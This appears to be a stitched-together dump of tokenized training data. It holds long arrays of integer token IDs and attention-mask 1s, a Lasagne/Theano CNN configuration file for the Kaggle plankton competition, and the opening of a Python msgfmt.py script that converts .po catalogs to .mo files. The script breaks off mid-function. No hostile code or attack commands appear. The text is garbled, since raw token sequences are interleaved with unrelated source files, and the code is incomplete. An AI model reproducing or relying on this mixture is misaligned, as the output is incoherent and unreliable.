16389, 3559, 658, 2052, 63, 2062, 63, 835, 3559, 267, 658, 22882, 68, 63, 2062, 63, 835, 29984, 8545, 370, 658, 25042, 63, 1459, 64, 1325, 24914, 267, 3224, 370, 658, 1507, 63, 22882, 68, 64, 1338, 14, 523, 408, 523, 327, 961, 1233, 5171, 9476, 282, 5878, 367, 1967, 63, 22882, 68, 12, 1325, 3967, 652, 365, 1454, 523, 327, 2797, 543, 376, 1109, 12, 626, 1159, 4052, 781, 4165, 315, 314, 1680, 769, 14, 982, 642, 523, 327, 805, 365, 14433, 5957, 1759, 12, 781, 1077, 1570, 314, 1382, 370, 2291, 5878, 14, 819, 24914, 12, 2549, 63, 2062, 63, 835, 12, 24914, 63, 2062, 63, 835, 275, 24914, 63, 1459, 819, 24914, 275, 3473, 63, 1483, 14, 2931, 8, 1144, 63, 1483, 14, 2379, 63, 7490, 8, 25042, 395, 6674, 14, 442, 772, 9, 523, 2549, 63, 2062, 63, 835, 275, 1625, 63, 1483, 14, 2379, 63, 7490, 8, 2052, 63, 2062, 63, 835, 9, 523, 24914, 63, 2062, 63, 835, 275, 1625, 63, 1483, 14, 2379, 63, 7490, 8, 25042, 63, 2062, 63, 835, 9, 819, 295, 13522, 63, 3711, 275, 4153, 1182, 522, 23144, 63, 12954, 819, 347, 9610, 940, 9290, 63, 793, 390, 8, 32719, 304, 272, 372, 3473, 63, 1483, 14, 5270, 63, 7270, 940, 9290, 8, 267, 3473, 63, 1483, 14, 14465, 8, 32719, 12, 295, 13522, 63, 3711, 12, 16992, 63, 66, 29, 549, 395, 267, 3114, 29, 17, 12, 267, 18492, 29, 797, 9, 819, 327, 23892, 642, 17819, 1824, 402, 12452, 63, 3892, 6127, 512, 13, 2102, 1958, 523, 327, 314, 9610, 940, 9290, 14009, 543, 314, 27105, 4931, 12, 1314, 14801, 523, 327, 282, 7031, 8112, 384, 315, 24471, 14, 523, 24914, 63, 10492, 275, 12452, 63, 1483, 423, 14275, 63, 3892, 63, 460, 63, 4711, 8, 221, 327, 4287, 26, 3507, 29, 6798, 13, 2732, 489, 4931, 12, 24914, 12, 6484, 63, 8590, 12, 5793, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
WangDequan/kaggle-ndsb
configurations/bagging_17_cr4_ds.py
6
7849
import numpy as np import theano import theano.tensor as T import lasagne as nn import data import load import nn_plankton import dihedral import dihedral_fast import tmp_dnn import tta validation_split_path = "splits/bagging_split_17.pkl" patch_sizes = [(95, 95), (47, 47)] augmentation_params = { 'zoom_range': (1 / 1.6, 1.6), 'rotation_range': (0, 360), 'shear_range': (-20, 20), 'translation_range': (-10, 10), 'do_flip': True, 'allow_stretch': 1.3, } batch_size = 128 // 4 chunk_size = 32768 // 4 num_chunks_train = 840 momentum = 0.9 learning_rate_schedule = { 0: 0.003, 700: 0.0003, 800: 0.00003, } validate_every = 20 save_every = 20 def estimate_scale(img): return np.maximum(img.shape[0], img.shape[1]) / 85.0 scale_factors = [estimate_scale, 5.0] # combine size-based rescaling + fixed rescaling augmentation_transforms_test = tta.build_quasirandom_transforms(70, **{ 'zoom_range': (1 / 1.4, 1.4), 'rotation_range': (0, 360), 'shear_range': (-10, 10), 'translation_range': (-8, 8), 'do_flip': True, 'allow_stretch': 1.2, }) data_loader = load.ZmuvMultiscaleDataLoader(scale_factors=scale_factors, num_chunks_train=num_chunks_train, patch_sizes=patch_sizes, chunk_size=chunk_size, augmentation_params=augmentation_params, augmentation_transforms_test=augmentation_transforms_test, validation_split_path=validation_split_path) # Conv2DLayer = nn.layers.cuda_convnet.Conv2DCCLayer # MaxPool2DLayer = nn.layers.cuda_convnet.MaxPool2DCCLayer Conv2DLayer = tmp_dnn.Conv2DDNNLayer MaxPool2DLayer = tmp_dnn.MaxPool2DDNNLayer def build_model(): # variable scale part l0_variable = nn.layers.InputLayer((batch_size, 1, patch_sizes[0][0], patch_sizes[0][1])) l0c = dihedral.CyclicSliceLayer(l0_variable) l1a = Conv2DLayer(l0c, num_filters=32, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l1b = Conv2DLayer(l1a, num_filters=16, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l1 = MaxPool2DLayer(l1b, ds=(3, 3), strides=(2, 2)) l1r = dihedral_fast.CyclicConvRollLayer(l1) l2a = Conv2DLayer(l1r, num_filters=64, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l2b = Conv2DLayer(l2a, num_filters=32, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l2 = MaxPool2DLayer(l2b, ds=(3, 3), strides=(2, 2)) l2r = dihedral_fast.CyclicConvRollLayer(l2) l3a = Conv2DLayer(l2r, num_filters=128, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l3b = Conv2DLayer(l3a, num_filters=128, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l3c = Conv2DLayer(l3b, num_filters=64, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l3 = MaxPool2DLayer(l3c, ds=(3, 3), strides=(2, 2)) l3r = dihedral_fast.CyclicConvRollLayer(l3) l4a = Conv2DLayer(l3r, num_filters=256, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l4b = Conv2DLayer(l4a, num_filters=256, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l4c = Conv2DLayer(l4b, num_filters=128, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l4 = MaxPool2DLayer(l4c, ds=(3, 3), strides=(2, 2)) l4r = dihedral_fast.CyclicConvRollLayer(l4) l4f = nn.layers.flatten(l4r) l5 = nn.layers.DenseLayer(nn.layers.dropout(l4f, p=0.5), num_units=1024, W=nn_plankton.Orthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu) l5fp = nn.layers.FeaturePoolLayer(l5, ds=2) l5m = dihedral.CyclicPoolLayer(l5fp, pool_function=nn_plankton.rms) l6 = nn.layers.DenseLayer(nn.layers.dropout(l5m, p=0.5), num_units=1024, W=nn_plankton.Orthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu) l6fp = nn.layers.FeaturePoolLayer(l6, ds=2) l_variable = l6fp # fixed scale part l0_fixed = nn.layers.InputLayer((batch_size, 1, patch_sizes[1][0], patch_sizes[1][1])) l0c = dihedral.CyclicSliceLayer(l0_fixed) l1a = Conv2DLayer(l0c, num_filters=16, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l1b = Conv2DLayer(l1a, num_filters=8, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l1 = MaxPool2DLayer(l1b, ds=(3, 3), strides=(2, 2)) l1r = dihedral_fast.CyclicConvRollLayer(l1) l2a = Conv2DLayer(l1r, num_filters=32, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l2b = Conv2DLayer(l2a, num_filters=16, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l2 = MaxPool2DLayer(l2b, ds=(3, 3), strides=(2, 2)) l2r = dihedral_fast.CyclicConvRollLayer(l2) l3a = Conv2DLayer(l2r, num_filters=64, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l3b = Conv2DLayer(l3a, num_filters=64, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l3c = Conv2DLayer(l3b, num_filters=32, filter_size=(3, 3), border_mode="same", W=nn_plankton.Conv2DOrthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu, untie_biases=True) l3 = MaxPool2DLayer(l3c, ds=(3, 3), strides=(2, 2)) l3r = dihedral_fast.CyclicConvRollLayer(l3) l3f = nn.layers.flatten(l3r) l4 = nn.layers.DenseLayer(nn.layers.dropout(l3f, p=0.5), num_units=512, W=nn_plankton.Orthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu) l4fp = nn.layers.FeaturePoolLayer(l4, ds=2) l4m = dihedral.CyclicPoolLayer(l4fp, pool_function=nn_plankton.rms) l5 = nn.layers.DenseLayer(nn.layers.dropout(l4m, p=0.5), num_units=512, W=nn_plankton.Orthogonal(1.0), b=nn.init.Constant(0.1), nonlinearity=nn_plankton.leaky_relu) l5fp = nn.layers.FeaturePoolLayer(l5, ds=2) l_fixed = l5fp # merge the parts l_merged = nn.layers.concat([l_variable, l_fixed]) l7 = nn.layers.DenseLayer(nn.layers.dropout(l_merged, p=0.5), num_units=data.num_classes, nonlinearity=T.nnet.softmax, W=nn_plankton.Orthogonal(1.0)) return [l0_variable, l0_fixed], l7 def build_objective(l_ins, l_out): lambda_reg = 0.0005 params = nn.layers.get_all_non_bias_params(l_out) reg_term = sum(T.sum(p**2) for p in params) def loss(y, t): return nn_plankton.log_loss(y, t) + lambda_reg * reg_term return nn.objectives.Objective(l_out, loss_function=loss)
mit
[ 646, 2680, 465, 980, 199, 199, 646, 14377, 221, 199, 646, 14377, 14, 3128, 465, 377, 199, 199, 646, 23325, 29575, 465, 11542, 199, 199, 646, 666, 199, 646, 2248, 199, 646, 11542, 63, 1168, 3580, 1860, 199, 646, 487, 27425, 199, 646, 487, 27425, 63, 7015, 199, 646, 3529, 63, 31969, 199, 646, 307, 502, 421, 199, 6136, 63, 1294, 63, 515, 275, 298, 16508, 15, 19430, 1540, 63, 1294, 63, 1196, 14, 23947, 2, 421, 199, 2068, 63, 7723, 275, 3842, 2720, 12, 16102, 395, 334, 2417, 12, 10954, 1874, 199, 20669, 3117, 63, 1162, 275, 469, 272, 283, 10598, 63, 1842, 356, 334, 17, 1182, 413, 14, 22, 12, 413, 14, 22, 395, 272, 283, 15362, 63, 1842, 356, 334, 16, 12, 19434, 395, 272, 283, 19195, 285, 63, 1842, 356, 5868, 1165, 12, 3388, 395, 272, 283, 6893, 63, 1842, 356, 5868, 709, 12, 1616, 395, 272, 283, 1117, 63, 16114, 356, 715, 12, 272, 283, 3306, 63, 31593, 356, 413, 14, 19, 12, 199, 93, 199, 199, 2912, 63, 890, 275, 7960, 5001, 841, 199, 4604, 63, 890, 275, 20939, 2333, 5001, 841, 199, 1507, 63, 10660, 63, 2834, 275, 29675, 199, 199, 25710, 275, 378, 14, 25, 199, 10546, 63, 1866, 63, 7211, 275, 469, 272, 378, 26, 378, 14, 8262, 12, 272, 30071, 26, 378, 14, 16861, 12, 272, 23466, 26, 378, 14, 993, 19, 12, 199, 93, 199, 199, 3502, 63, 14287, 275, 3388, 199, 2117, 63, 14287, 275, 3388, 421, 199, 318, 14497, 63, 3467, 8, 4060, 304, 272, 372, 980, 14, 11555, 8, 4060, 14, 1392, 59, 16, 467, 6050, 14, 1392, 59, 17, 566, 1182, 16412, 14, 16, 199, 199, 3467, 63, 16125, 275, 359, 21196, 63, 3467, 12, 959, 14, 16, 61, 221, 327, 13323, 1568, 13, 6788, 522, 915, 316, 435, 6317, 522, 915, 316, 16872, 199, 20669, 3117, 63, 15133, 63, 396, 275, 307, 502, 14, 1506, 63, 392, 305, 723, 1241, 63, 15133, 8, 2760, 12, 31159, 272, 283, 10598, 63, 1842, 356, 334, 17, 1182, 413, 14, 20, 12, 413, 14, 20, 395, 272, 283, 15362, 63, 1842, 356, 334, 16, 12, 19434, 395, 272, 283, 19195, 285, 63, 1842, 356, 5868, 709, 12, 1616, 395, 272, 283, 6893, 63, 1842, 356, 5868, 24, 12, 1695, 395, 272, 283, 1117, 63, 16114, 356, 715, 12, 272, 283, 3306, 63, 31593, 356, 413, 14, 18, 12, 199, 1552, 4388, 199, 576, 63, 3422, 275, 2248, 14, 58, 6553, 86, 3947, 3467, 1451, 5455, 8, 3467, 63, 16125, 29, 3467, 63, 16125, 12, 1967, 63, 10660, 63, 2834, 29, 1507, 63, 10660, 63, 2834, 12, 272, 3371, 63, 7723, 29, 2068, 63, 7723, 12, 3728, 63, 890, 29, 4604, 63, 890, 12, 18336, 3117, 63, 1162, 29, 20669, 3117, 63, 1162, 12, 272, 18336, 3117, 63, 15133, 63, 396, 29, 20669, 3117, 63, 15133, 63, 396, 12, 6411, 63, 1294, 63, 515, 29, 6136, 63, 1294, 63, 515, 9, 421, 199, 3, 19140, 18, 36, 5003, 275, 11542, 14, 4359, 14, 16309, 63, 5598, 846, 14, 11596, 18, 5196, 1981, 1187, 281, 199, 3, 8228, 5453, 18, 36, 5003, 275, 11542, 14, 4359, 14, 16309, 63, 5598, 846, 14, 29883, 18, 5196, 1981, 1187, 281, 199, 199, 11596, 18, 36, 5003, 275, 3529, 63, 31969, 14, 11596, 18, 5745, 7178, 5003, 199, 29883, 18, 36, 5003, 275, 3529, 63, 31969, 14, 29883, 18, 5745, 7178, 5003, 421, 199, 318, 1900, 63, 1238, 837, 272, 327, 1750, 4666, 1777, 272, 634, 16, 63, 1975, 275, 11542, 14, 4359, 14, 3205, 5003, 1332, 2912, 63, 890, 12, 413, 12, 3371, 63, 7723, 59, 16, 1527, 16, 467, 3371, 63, 7723, 59, 16, 1527, 17, 2459, 272, 634, 16, 67, 275, 487, 27425, 14, 9156, 17542, 14034, 5003, 8, 76, 16, 63, 1975, 9, 339, 634, 17, 65, 275, 19140, 18, 36, 5003, 8, 76, 16, 67, 12, 1967, 63, 4273, 29, 708, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 272, 634, 17, 66, 275, 19140, 18, 36, 5003, 8, 76, 17, 65, 12, 1967, 63, 4273, 29, 975, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 272, 634, 17, 275, 8228, 5453, 18, 36, 5003, 8, 76, 17, 66, 12, 6364, 2687, 19, 12, 650, 395, 11883, 2687, 18, 12, 499, 430, 272, 634, 17, 82, 275, 487, 27425, 63, 7015, 14, 9156, 17542, 11596, 24363, 5003, 8, 76, 17, 9, 339, 634, 18, 65, 275, 19140, 18, 36, 5003, 8, 76, 17, 82, 12, 1967, 63, 4273, 29, 772, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 272, 634, 18, 66, 275, 19140, 18, 36, 5003, 8, 76, 18, 65, 12, 1967, 63, 4273, 29, 708, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9 ]
[ 2680, 465, 980, 199, 199, 646, 14377, 221, 199, 646, 14377, 14, 3128, 465, 377, 199, 199, 646, 23325, 29575, 465, 11542, 199, 199, 646, 666, 199, 646, 2248, 199, 646, 11542, 63, 1168, 3580, 1860, 199, 646, 487, 27425, 199, 646, 487, 27425, 63, 7015, 199, 646, 3529, 63, 31969, 199, 646, 307, 502, 421, 199, 6136, 63, 1294, 63, 515, 275, 298, 16508, 15, 19430, 1540, 63, 1294, 63, 1196, 14, 23947, 2, 421, 199, 2068, 63, 7723, 275, 3842, 2720, 12, 16102, 395, 334, 2417, 12, 10954, 1874, 199, 20669, 3117, 63, 1162, 275, 469, 272, 283, 10598, 63, 1842, 356, 334, 17, 1182, 413, 14, 22, 12, 413, 14, 22, 395, 272, 283, 15362, 63, 1842, 356, 334, 16, 12, 19434, 395, 272, 283, 19195, 285, 63, 1842, 356, 5868, 1165, 12, 3388, 395, 272, 283, 6893, 63, 1842, 356, 5868, 709, 12, 1616, 395, 272, 283, 1117, 63, 16114, 356, 715, 12, 272, 283, 3306, 63, 31593, 356, 413, 14, 19, 12, 199, 93, 199, 199, 2912, 63, 890, 275, 7960, 5001, 841, 199, 4604, 63, 890, 275, 20939, 2333, 5001, 841, 199, 1507, 63, 10660, 63, 2834, 275, 29675, 199, 199, 25710, 275, 378, 14, 25, 199, 10546, 63, 1866, 63, 7211, 275, 469, 272, 378, 26, 378, 14, 8262, 12, 272, 30071, 26, 378, 14, 16861, 12, 272, 23466, 26, 378, 14, 993, 19, 12, 199, 93, 199, 199, 3502, 63, 14287, 275, 3388, 199, 2117, 63, 14287, 275, 3388, 421, 199, 318, 14497, 63, 3467, 8, 4060, 304, 272, 372, 980, 14, 11555, 8, 4060, 14, 1392, 59, 16, 467, 6050, 14, 1392, 59, 17, 566, 1182, 16412, 14, 16, 199, 199, 3467, 63, 16125, 275, 359, 21196, 63, 3467, 12, 959, 14, 16, 61, 221, 327, 13323, 1568, 13, 6788, 522, 915, 316, 435, 6317, 522, 915, 316, 16872, 199, 20669, 3117, 63, 15133, 63, 396, 275, 307, 502, 14, 1506, 63, 392, 305, 723, 1241, 63, 15133, 8, 2760, 12, 31159, 272, 283, 10598, 63, 1842, 356, 334, 17, 1182, 413, 14, 20, 12, 413, 14, 20, 395, 272, 283, 15362, 63, 1842, 356, 334, 16, 12, 19434, 395, 272, 283, 19195, 285, 63, 1842, 356, 5868, 709, 12, 1616, 395, 272, 283, 6893, 63, 1842, 356, 5868, 24, 12, 1695, 395, 272, 283, 1117, 63, 16114, 356, 715, 12, 272, 283, 3306, 63, 31593, 356, 413, 14, 18, 12, 199, 1552, 4388, 199, 576, 63, 3422, 275, 2248, 14, 58, 6553, 86, 3947, 3467, 1451, 5455, 8, 3467, 63, 16125, 29, 3467, 63, 16125, 12, 1967, 63, 10660, 63, 2834, 29, 1507, 63, 10660, 63, 2834, 12, 272, 3371, 63, 7723, 29, 2068, 63, 7723, 12, 3728, 63, 890, 29, 4604, 63, 890, 12, 18336, 3117, 63, 1162, 29, 20669, 3117, 63, 1162, 12, 272, 18336, 3117, 63, 15133, 63, 396, 29, 20669, 3117, 63, 15133, 63, 396, 12, 6411, 63, 1294, 63, 515, 29, 6136, 63, 1294, 63, 515, 9, 421, 199, 3, 19140, 18, 36, 5003, 275, 11542, 14, 4359, 14, 16309, 63, 5598, 846, 14, 11596, 18, 5196, 1981, 1187, 281, 199, 3, 8228, 5453, 18, 36, 5003, 275, 11542, 14, 4359, 14, 16309, 63, 5598, 846, 14, 29883, 18, 5196, 1981, 1187, 281, 199, 199, 11596, 18, 36, 5003, 275, 3529, 63, 31969, 14, 11596, 18, 5745, 7178, 5003, 199, 29883, 18, 36, 5003, 275, 3529, 63, 31969, 14, 29883, 18, 5745, 7178, 5003, 421, 199, 318, 1900, 63, 1238, 837, 272, 327, 1750, 4666, 1777, 272, 634, 16, 63, 1975, 275, 11542, 14, 4359, 14, 3205, 5003, 1332, 2912, 63, 890, 12, 413, 12, 3371, 63, 7723, 59, 16, 1527, 16, 467, 3371, 63, 7723, 59, 16, 1527, 17, 2459, 272, 634, 16, 67, 275, 487, 27425, 14, 9156, 17542, 14034, 5003, 8, 76, 16, 63, 1975, 9, 339, 634, 17, 65, 275, 19140, 18, 36, 5003, 8, 76, 16, 67, 12, 1967, 63, 4273, 29, 708, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 272, 634, 17, 66, 275, 19140, 18, 36, 5003, 8, 76, 17, 65, 12, 1967, 63, 4273, 29, 975, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 272, 634, 17, 275, 8228, 5453, 18, 36, 5003, 8, 76, 17, 66, 12, 6364, 2687, 19, 12, 650, 395, 11883, 2687, 18, 12, 499, 430, 272, 634, 17, 82, 275, 487, 27425, 63, 7015, 14, 9156, 17542, 11596, 24363, 5003, 8, 76, 17, 9, 339, 634, 18, 65, 275, 19140, 18, 36, 5003, 8, 76, 17, 82, 12, 1967, 63, 4273, 29, 772, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 272, 634, 18, 66, 275, 19140, 18, 36, 5003, 8, 76, 18, 65, 12, 1967, 63, 4273, 29, 708, 12, 2457, 63, 890, 2687, 19, 12, 650, 395, 9162, 63, 632, 628, 7191, 401, 644, 29, 4411, 63, 1168, 3580, 1860, 14, 11596, 18, 1649, 82, 273, 19133, 8, 17, 14, 16, 395, 330, 29, 4411, 14, 826, 14, 9737, 8, 16, 14, 17, 395, 2222, 30440, 29, 4411, 63, 1168, 3580, 1860, 14, 28212, 89, 63, 12833, 12, 625, 23958, 63, 20948, 29, 549, 9, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
matesszabo/Movie-information
Examples/with_nfo/The.Hobbit.The.Desolation.of.Smaug.2013.CUSTOM.HUN.NTSC.DVDR-MWT/imdb/locale/msgfmt.py
142
6529
#!/usr/bin/env python # -*- coding: iso-8859-1 -*- """Generate binary message catalog from textual translation description. This program converts a textual Uniforum-style message catalog (.po file) into a binary GNU catalog (.mo file). This is essentially the same function as the GNU msgfmt program, however, it is a simpler implementation. Usage: msgfmt.py [OPTIONS] filename.po Options: -o file --output-file=file Specify the output file to write to. If omitted, output will go to a file named filename.mo (based off the input file name). -h --help Print this message and exit. -V --version Display version information and exit. Written by Martin v. Löwis <loewis@informatik.hu-berlin.de>, refactored / fixed by Thomas Waldmann <tw AT waldmann-edv DOT de>. """ import sys, os import getopt, struct, array __version__ = "1.3" class SyntaxErrorException(Exception): """raised when having trouble parsing the po file content""" pass class MsgFmt(object): """transform .po -> .mo format""" def __init__(self): self.messages = {} def make_filenames(self, filename, outfile=None): """Compute .mo name from .po name or language""" if filename.endswith('.po'): infile = filename else: infile = filename + '.po' if outfile is None: outfile = os.path.splitext(infile)[0] + '.mo' return infile, outfile def add(self, id, str, fuzzy): """Add a non-fuzzy translation to the dictionary.""" if not fuzzy and str: self.messages[id] = str def read_po(self, lines): ID = 1 STR = 2 section = None fuzzy = False line_no = 0 msgid = msgstr = '' # Parse the catalog for line in lines: line_no += 1 # If we get a comment line after a msgstr, this is a new entry if line.startswith('#') and section == STR: self.add(msgid, msgstr, fuzzy) section = None fuzzy = False # 